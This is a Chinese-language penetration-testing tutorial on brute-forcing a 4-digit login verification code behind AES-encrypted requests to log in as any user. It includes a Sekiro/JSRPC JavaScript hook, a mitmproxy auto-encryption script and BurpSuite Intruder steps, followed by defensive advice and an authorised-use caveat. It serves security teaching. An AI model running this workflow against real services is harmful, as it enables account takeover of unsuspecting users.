利用JSRPC协议实现任意用户登录
字数 1400 2025-08-24 07:48:10
利用JSRPC协议实现任意用户登录漏洞利用教学文档
1. 漏洞背景与原理
本漏洞利用JSRPC协议结合AES加密机制,通过验证码爆破和中间人代理技术实现任意用户登录。主要涉及以下技术点:
- 验证码爆破:目标系统使用4位验证码,存在爆破可能性
- AES加密:请求数据被AES加密,需要解密分析
- JSRPC协议:用于构建加密/解密服务
- mitmproxy中间人代理:用于在BurpSuite中实现自动加密
2. 环境准备
2.1 所需工具
- JSRPC/Sekiro框架
- Python 3.x
- mitmproxy
- BurpSuite
- 浏览器及开发者工具
2.2 依赖安装
pip3 install mitmproxy
3. JSRPC/Sekiro服务搭建
3.1 下载与运行
- 从Sekiro官网下载sekiro-open-demo
- 解压后进入bin目录,根据系统选择运行:
- Windows: 运行.bat文件
- Linux/Mac: 运行.sh文件
3.2 服务验证
成功运行后,服务将监听在ws://127.0.0.1:5612
4. 自定义AES解密接口
4.1 注册解密服务
在Sekiro客户端中注册AES解密接口:
function guid() {
function S4() {
return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
}
return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}
// 自定义配置
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());
client.registerAction(registerAction, function(request, resolve, reject) {
response = v(atob(request['text']));
resolve(response);
})
4.2 接口调用方式
注册成功后,可通过以下URL调用解密服务:
http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx
注意:由于加密数据可能包含&字符,需要对URL进行编码处理。
5. 验证码爆破实现
5.1 手动验证
- 通过浏览器开发者工具抓取登录请求
- 确认验证码为4位数字
- 测试验证码是否可重复使用
5.2 自动化爆破
方法一:Python字典生成
- 生成0000-9999的所有可能验证码
- 通过JSRPC接口加密每个验证码
- 保存加密后的字典用于爆破
方法二:BurpSuite爆破
使用mitmproxy作为中间人代理实现自动加密:
- 创建mitmproxy脚本
test.py:
import requests
import urllib.parse
import re
import json
from mitmproxy import ctx
def encrypt(data):
data = data.replace('&', "%26")
url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(data)
res = requests.get(url)
res = json.loads(res.text)
return res['data']
def request(flow):
# 获取GET请求的数据
data = flow.request.query.get('data')
print('Get request data ===> ', data)
encryptData = encrypt(data)
print('EncryptData ===> ', encryptData)
# 设置修改后的请求body数据
flow.request.query['data'] = encryptData
def response(flow):
response = flow.response
print(response.text)
ctx.log.info(str(response.status_code))
- 启动mitmproxy服务:
mitmweb -v -s test.py -p 8081
- 配置BurpSuite代理到mitmproxy(8081端口)
6. 漏洞利用流程
-
信息收集:
- 确认目标系统使用4位验证码
- 确认请求数据使用AES加密
- 验证验证码是否可重复使用
-
加密分析:
- 通过JSRPC服务解密样本请求
- 分析加密模式和密钥(如有必要)
-
爆破准备:
- 生成0000-9999的明文验证码字典
- 通过JSRPC接口加密所有验证码
- 或配置mitmproxy自动加密
-
实施爆破:
- 使用BurpSuite Intruder模块
- 配置payload为明文验证码
- mitmproxy会自动加密后发送
-
结果分析:
- 根据响应长度/内容判断成功请求
- 获取有效token或会话凭证
7. 防御措施
-
验证码强化:
- 增加验证码位数(6位以上)
- 添加图形干扰因素
- 设置单次有效性(使用后立即失效)
-
加密强化:
- 使用动态密钥或加盐
- 结合时间戳等动态参数
- 实现请求唯一性校验
-
其他防护:
- 实施请求频率限制
- 异常请求检测
- 多因素认证
8. 注意事项
- 法律合规:仅在授权测试中使用此技术
- 编码处理:特别注意URL中的特殊字符编码
- 性能考虑:大规模爆破需考虑性能优化
- 错误处理:完善脚本的错误处理机制
9. 扩展应用
此技术不仅限于验证码爆破,还可应用于:
- 加密API接口的自动化测试
- 加密参数的模糊测试
- 其他需要自动加密/解密的场景
通过本教学文档,您应该能够完整理解并实施基于JSRPC协议的任意用户登录漏洞利用技术。请务必在合法授权范围内使用这些技术。